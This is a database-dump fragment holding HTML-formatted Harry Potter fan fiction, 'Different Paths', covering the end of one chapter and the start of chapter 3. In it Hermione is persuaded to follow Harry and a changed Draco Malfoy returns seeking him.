style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Ron\nsighed and said, &#8220;Come with me, it&#8217;ll be easier to show than to explain.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione\nhadn&#8217;t left her Head Girl Room for the past two days since Harry had left.&nbsp; If people didn&#8217;t know better, they would&#8217;ve\nsworn that she had never left her bed during that time.&nbsp; All she ever did during the day was lie in\nbed starring at nothing in particular, while she spent her nights crying\nherself to sleep.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">At\npresent, Hermione looked like a mess.&nbsp;\nHer bushy brown hair was in far more disarray than usual and her eyes\nwere puffy and bloodshot from crying so much.&nbsp;\nHer former roommates, Lavender Brown and Parvati\nPatil were vainly trying to cheer her up.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Here,\nyou may have these,&#8221; said Parvati holding up two\nitems.&nbsp; &#8220;An autographed &#8216;Magical Me&#8217; by Gilderoy Lockhart and an autographed picture of Viktor Krum\nin full Quidditch gear.&nbsp; These are amongst my most treasured items but if they help you\nfeel better, you may have them.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;No\nthank you!&#8221; Hermione said rather harshly.&nbsp;\nParvati was petrified in shock, the only thing\ngoing through head now was, <i style="mso-bidi-font-style:normal">&#8216;Hermione\nrejected my treasures, Hermione rejected my treasures, Hermione rejected my\ntreasures...&#8217;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Lavender\nsighed and said, &#8220;Hermione, saying that&#8217;s like a taboo to Parvati.&#8221;&nbsp; She tried to place a hand on Hermione&#8217;s\nshoulder but Hermione angrily brushed her away.&nbsp; &#8220;Come on, Hermione,&#8221; said Lavender.&nbsp; &#8220;Can&#8217;t you at least get out of bed?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Leave\nme alone!&#8221; Hermione shouted, causing Lavender to jump back in surprise.&nbsp; She pulled her blankets over her head and\nturned away.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yes,\nleave her alone.&nbsp; She obviously doesn&#8217;t\nneed anybody?&#8221;&nbsp; Hermione and Lavender\nlooked up in surprise toward the doorway to see none other than Cho Chang there.&nbsp; Parvati was still petrified by the shock of Hermione\nrejecting her most treasured items.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What\nare you doing here?&#8221; Hermione asked a little too harshly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8217;m\nhere to see how the mighty have fallen,&#8221; said Cho was\nshe walked into the room and smirked.&nbsp;\n&#8220;Seeing how Harry has finally chosen to leave the pathetic muggle-born behind.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Lavender\nand the recovered Parvati were shocked by Cho&#8217;s words.&nbsp;\nHermione simply became angrier.&nbsp; &#8220;You\nhave no right, saying that to me,&#8221; she hissed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nhave every right,&#8221; said Cho.&nbsp; &#8220;Harry doesn&#8217;t deserve some one who loses\nthe will to live just because he decides to leave.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You\ndon&#8217;t understand,&#8221; said Hermione.&nbsp; &#8220;You\ndon&#8217;t understand what it&#8217;s like to suddenly be told &#8216;good bye&#8217; out of the\nblue.&nbsp; You don&#8217;t understand what it&#8217;s\nlike to be abandoned by some one you&#8217;ve been in love with for years!&#8221;&nbsp; She screamed the last part out.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Something\nmust have struck a cord with Cho because she suddenly\nraised her right hand, intending to slap Hermione.&nbsp; Hermione however, grabbed Cho&#8217;s hand\nbefore it could come close.&nbsp; &#8220;Don&#8217;t\nunderestimate me!&#8221; she hissed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;No,\nyou should be the one who shouldn&#8217;t underestimate me,&#8221; said Cho.&nbsp; She moved her free left in a move to slap\nHermione.&nbsp; Caught by surprise, Hermione\nclosed her eyes and braced herself for the stinging pain on her cheek.&nbsp; When it didn&#8217;t come, she opened her eyes\nonly to see that Cho had stopped her hand right\nbefore it had contacted Hermione&#8217;s cheek.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nknow exactly how it feels,&#8221; said Cho.&nbsp; &#8220;Unless you&#8217;ve forgotten, three years ago I\nused to date one Cedric Diggory.&#8221;&nbsp; Hermione blinked in surprise while Cho continued.&nbsp; &#8220;He\nwas taken from me, from all of us by You-Know-Who.&nbsp; I never had the chance to even say &#8216;good bye&#8217; to him, never even\ndreaming that the last time I&#8217;d ever see him would be right before the third\ntask of the Triwizard Tournament.&nbsp; Do you think that was something I was able\nto get over easily?&#8221;&nbsp; She put two fingers\nunder Hermione&#8217;s chin and tilted Hermione&#8217;s head upwards to stare into her\nbrown eyes.&nbsp; &#8220;That&#8217;s why I abandoned a\npotential career in Quidditch to become a Medi-witch.&nbsp; I vowed\nto become someone who could save as many lives as I could, so that no one eslse will have to suffer the way I suffered, having\nsomeone leave without a proper &#8216;good bye&#8217;.&nbsp;\nIt was Harry who showed me this road and Harry who taught me how to\ntravel it.&nbsp; Do you understand how lucky\nyou are that Harry even said, &#8216;good bye&#8217; to you?&#8221;&nbsp; Cho&#8217;s eyes started tearing up; talking\nabout Cedric was still too painful for her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione\nfelt ashamed as Cho turned away to hide her tear\nfilled eyes.&nbsp; &#8220;Cho,\nI&#8217;m sorry.&nbsp; I shouldn&#8217;t have...&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;That\ndoesn&#8217;t matter,&#8221; said Cho with wave of her hand.&nbsp; &#8220;That&#8217;s not your job now.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Job?&#8221;\nsaid Hermione.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You\nknow what your job is,&#8221; said another voice from the doorway.&nbsp; Ron Weasley walked\nin, all dressed up for travel.&nbsp; &#8220;Your\njob is to go after Harry and convince him to come back.&nbsp; If he won&#8217;t come back than to stay by his\nside as he goes into battle.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione\nblinked.&nbsp; &#8220;But Ron, I, I don&#8217;t...&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Don&#8217;t\nyou bloody get it?&#8221; said Ron.&nbsp; &#8220;You&#8217;re\nthe only person Harry even bothered saying &#8216;good bye&#8217; to.&nbsp; That means that you&#8217;re the only who can\nconvince him to come back if need be.&nbsp;\nYou&#8217;re the only who can influence him, tell him to come home.&nbsp; You&#8217;re the only one who can take care of\nhim. Do you get what I&#8217;m saying?&nbsp; Harry\nbloody needs you badly!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione\nremained still as she contemplated what Ron had just said.&nbsp; &#8220;I...I...I...&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Just\nsay it Hermione,&#8221; said Lavender.&nbsp; &#8220;Just\nsay it.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Just\nsay how you feel,&#8221; said Cho a lot kinder than her\nprevious tone.&nbsp; &#8220;Just say what you want\nto do.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I...I...I...&#8221;\napparently, the damns had burst and Hermione burst into tears.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hermione?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hermione?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Just\nsay it Hermione,&#8221; said Ron once again.&nbsp;\n&#8220;Just say it.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I...I...I...want...to see...H-Harry...a-again,&#8221; Hermione chocked\nout between sobs.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Those\nwords alone changed the entire mood of the room.&nbsp; Lavender and Parvati smiled, realizing\nthat Hermione had recovered from her depression.&nbsp; Cho was also smiling, though hers was\nslightly melancholy.&nbsp; &#8220;Ron grinned and\nsaid, &#8220;Well then, let&#8217;s go see him.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Cho sighed sadly, as she walked toward Hogwarts the\nfollowing evening.&nbsp; Ron and Hermione had\nleft just that morning, taking off after Harry.&nbsp; The truth was, Cho very much wanted to\ngo after Harry as well, but it wasn&#8217;t her place to go after him.&nbsp; No, Hermione was the one Harry had said\n&#8220;good bye&#8221; to.&nbsp; That meant that Hermione\nwas the only one, who could truly go after Harry.&nbsp; <i style="mso-bidi-font-style:normal">&#8216;If it were me, I would&#8217;ve\ngone after him myself,&#8217;</i> she thought bitterly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">As\nshe made her way toward the front gates, Cho caught\nsight of somebody standing there.&nbsp;\n&#8220;Harry?&#8221; she wondered out loud.&nbsp;\nThe first thought that crossed Cho&#8217;s mind was,\n<i style="mso-bidi-font-style:normal">&#8216;He&#8217;s come back!</i>&#8217;&nbsp; Hoping it was Harry, Cho\nran toward the main gates only to stop short when she\nsaw that it wasn&#8217;t Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Instead\nof raven black hair and bright green eyes, the man had platinum blonde hair and\npale gray eyes.&nbsp; He was dressed in\nweather worn grey robes and had a wand holstered in his belt.&nbsp; But what struck Cho\nmost of all was the cold, emotionless yet pain filled look in his eyes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Oh\nmy God,&#8221; Cho whispered.&nbsp; For it was someone she hadn&#8217;t seen in years.&nbsp; Someone she would have never expected to see\nat Hogwarts after the Slytherin Revolts.&nbsp; Someone whom had apparently changed so much\nduring his absence, he was virtually unrecognizable now.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">It\nwas Draco Malfoy.<b style="mso-bidi-font-weight:normal"></b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b style="mso-bidi-font-weight:normal">&nbsp;</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b style="mso-bidi-font-weight:normal">To be continued...</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b style="mso-bidi-font-weight:normal">&nbsp;</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">A/N Mu ha ha ha\nha ha!!!&nbsp; Like it?&nbsp; I sure hope so.&nbsp; Tell me what you think.&nbsp; And all of you RK fans, tell me which\ncharacter is which character, I want to see if you&#8217;re correct.&nbsp; Next: We see more Draco,\nmore Seth, and more Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b style="mso-bidi-font-weight:normal">&nbsp;</b></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(33, 3, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b>Title:</b>\nDifferent Paths (03)<br>\n<b>Author name:</b> E. C. R. Potter<br>\n<b>Author email:</b> ecrpotter@hotmail.com<br>\n<b>Category:</b> Action/Adventure<br>\n<b>Sub Category:</b> Drama<br>\n<b>Keywords:</b> Harry Voldemort Different Paths<br>\n<b>Rating:</b> PG-13<br>\n<b>Spoilers:</b> SS/PS, CoS, PoA,\nGoF, FB, QTTA, Ruroni Kenshin: Kyoto story arc.<br>\n<b>Summary:</b> Tom Marvolo Riddle, Harry James\nPotter. Two wizards, with incredibly similar beginnings, who\njourneyed on different paths. Such different paths that inevitably, they\ncould only lead to a collision course. And collide, they do.<br>\n<b>DISCLAIMER:</b> This story is based on characters and situations created and\nowned by JK Rowling, various publishers including but not limited to Bloomsbury\nBooks, Scholastic Books and Raincoast Books, and\nWarner Bros., Inc. No money is being made and no copyright or trademark\ninfringement is intended. It is also based on a plot line based on a story\nowned by Nobuhiro Wazuki,\nJump Comics Inc., Fuji Television, and other publishers. No money is being made\nand no copyright or trademark infringement is intended from them either.<br>\n<b>Author notes:</b> So here&#8217;s chapter 3.&nbsp;\nEvents that the plot are just starting to take effect.&nbsp; Voldemort finally makes an appearance and a\nnumber of other main characters are introduced.&nbsp; Pay attention to the events happening in this chapter because it\nplays important parts later in the story.&nbsp;\nOf course, all I really want from you is to read and enjoy this chapter.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b style="mso-bidi-font-weight:normal">&nbsp;</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b style="mso-bidi-font-weight:normal">Chapter 3: Draco and Ginny</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b style="mso-bidi-font-weight:normal">&nbsp;</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">For the longest time, Cho simply starred at\nDraco in disbelief.&nbsp; About two years\nago, Hogwarts and Beauxbatons Magical Academy in France had organized a Defense\nagainst the Dark Arts Exchange Programs, and a number of Hogwarts students had\nleft for France.&nbsp; Harry and Hermione had\nbeen amongst those chosen as Hogwarts representatives, but it was around that\ntime when Hermione&#8217;s parents were killed and she was in no condition to embark\non an exchange program.&nbsp; Harry had\nrefused to leave Hermione behind in her time of need.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">However, one of the students whom had left\nwas Draco Malfoy.&nbsp; As a result, he had\nnot actively taken part in the Slytherin Revolts.&nbsp; All of his friends, as well as his father Lucius, had been killed\nin the revolts, and something like that was bound to have affected Draco\ndeeply.&nbsp; Indeed, Cho could clearly see\nthe signs of pain in his cold gray eyes.&nbsp;\nDraco opened his mouth to speak.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Where is Potter?&#8221; he said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What?&#8221; Cho flinched from the tone of Draco&#8217;s\nvoice.&nbsp; It was cold, yet emotionless,\nand seemed to be carrying an almost sinister determination.&nbsp; It was clear that the young man had gone\nthrough a lot of pain, and Cho couldn&#8217;t help but feel a little sympathy for\nhim.&nbsp; <i style="mso-bidi-font-style:\nnormal">&#8216;But why is he looking for Harry?&#8217;</i> Cho thought, the tone of his\nvoice frightening her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Silently, Draco walked over to Cho.&nbsp; Frightened, Cho backed away a little, but\nsomething in Draco&#8217;s eyes kept her from backing away too far.&nbsp; It was as if, his eyes had some kind of hold\non her.&nbsp; <i style="mso-bidi-font-style:\nnormal">&#8216;Maybe this is what the Imperious feels like,&#8217;</i> she thought.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Draco was now standing right in front of Cho,\ngazing down at her with his cold grey eyes.&nbsp;\nHe reached out toward her as if he were going to caress her cheek.&nbsp; Cho couldn&#8217;t help but relax a little.&nbsp; However, she soon tensed up in fear once\nagain when Draco&#8217;s hand went not to her cheek but to her throat, squeezing not\nenough to choke her, but enough to show Cho that he meant business.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Once again, he repeated, &#8220;Where is\nPotter?&#8221;&nbsp; His voice now carried the hint\nof a threat.&nbsp; Cho visibly gulped,\nfearing for dear life.&nbsp; She could see\nquite clearly in Draco&#8217;s eyes, that he was completely capable of, and willing\nto kill her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Potter&#8217;s no longer here,&#8221; called out a voice\nfrom nearby.&nbsp; Surprised, Cho looked up\nto see none other than Severus Snape walking toward them, wearing an auror\nuniform.&nbsp; Draco also seemed surprised to\nsee his former head of house but he masked his surprise quite well.&nbsp; He released his hold and Cho gasped for air.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Professor Snape?&#8221; she asked, as soon as she\nhad caught her breath.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;It&#8217;s Auror Snape now,&#8221; replied Snape.&nbsp; He smirked at Draco and said, &#8220;It&#8217;s good to\nsee you again Mr. Malfoy.&nbsp; Returning to\nHogwarts I assume?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What did you mean by Potter&#8217;s no longer\nhere?&#8221; said Draco, not beating around the bush.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;It is quite simple really,&#8221; said Snape.&nbsp; &#8220;The foolish boy has left to challenge the\nDark Lord.&nbsp; What else would you have\nexpected from &#8216;high and noble&#8217; Boy who lived?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Without a word, Draco started walking away\nfrom the main gates.&nbsp; Snape raised an\neyebrow and said, &#8220;Where are you going young Malfoy?&nbsp; You&#8217;re not going to go after Potter as well are you?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Abruptly, Draco turned toward Snape and Cho,\na fierce blaze in his eye.&nbsp; &#8220;Know this,&#8221;\nhe said.&nbsp; &#8220;I am the only one who can and\nwill defeat Harry Potter.&nbsp; No one else\nwill or can defeat him: not you, not my father, not even the Dark Lord.&nbsp; For the sake of the promise I made between\nmyself and my now gone Slytherin friends, I will be the one who sees Harry\nPotter finished.&#8221;&nbsp; With that, with a\ndramatic swish of his grey robes, Draco walked away.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Cho turned to Snape and asked, &#8220;Promise?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I have a vague idea of what he&#8217;s talking\nabout, Miss Chang,&#8221; said Snape.&nbsp;\n&#8220;However, it is not up to me to explain it.&nbsp; Ultimately, it is between young Malfoy and Potter and no one else\ncan come between it, not even the Dark Lord.&#8221;&nbsp;\nHe turned to Cho and said, &#8220;A bid you a good day, Miss Chang.&nbsp; And I ask that you do not tell anybody what\nhas just transpired here.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Cho nodded and Snape also left.&nbsp; As she watched him disappear over the\nhorizon, Cho silently prayed, <i style="mso-bidi-font-style:normal">&#8216;Please be\ncareful Harry.&nbsp; You&#8217;re in a lot more\ndanger than even you realize.&#8217;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">In the Highlands of Scotland, not too far\nfrom Hogsmeade was a place of personal importance for Draco Malfoy.&nbsp; It was where the graves of the radical\nSlytherin students that had been killed in the Slytherin Revolts were.&nbsp; The friendships between these radicals were\nsketchy at the best, but they were the closest people to Draco before he had\nheaded to Beauxbatons.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Draco glanced at the names written on the\nheadstones: <i>Vincent Crabbe, Gregory Goyle, Pansy Parkinson, Blaise Zabini,\nMillicent Bulstrode</i>...Slytherins whom Draco had known since childhood, had\nspent five years of his life with.&nbsp; It\nwas perhaps inevitable that their final resting place be special for Draco.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Suddenly, Draco came to a stop.&nbsp; Lying in front of him was an empty bottle of\nOgden&#8217;s Fire-whiskey.&nbsp; A quick look\naround revealed that the graveyard was littered with empty bottles and\ntankards.&nbsp; There was also a mild odor of\nalcohol in the air.&nbsp; Silent anger\ncoursed through Draco&#8217;s veins at whomever it was who dared to trash the resting\nplace of Draco&#8217;s friends.&nbsp; Finally,\nDraco found the culprits.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">They were four men, all skinheads, rippling\nwith muscles.&nbsp; These were the type of\nmen who had more brawn than brain.&nbsp; They\nwere lounging about, drinking from their bottles, and using the headstones as\nrecliners.&nbsp; The chatter and laughter\nindicated that they were quite drunk.&nbsp;\nAs Draco approached them, the men looked up and saw him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Eh, now.&nbsp;\nYou Lucius&#8217;s boy?&#8221; asked the one that was clearly the 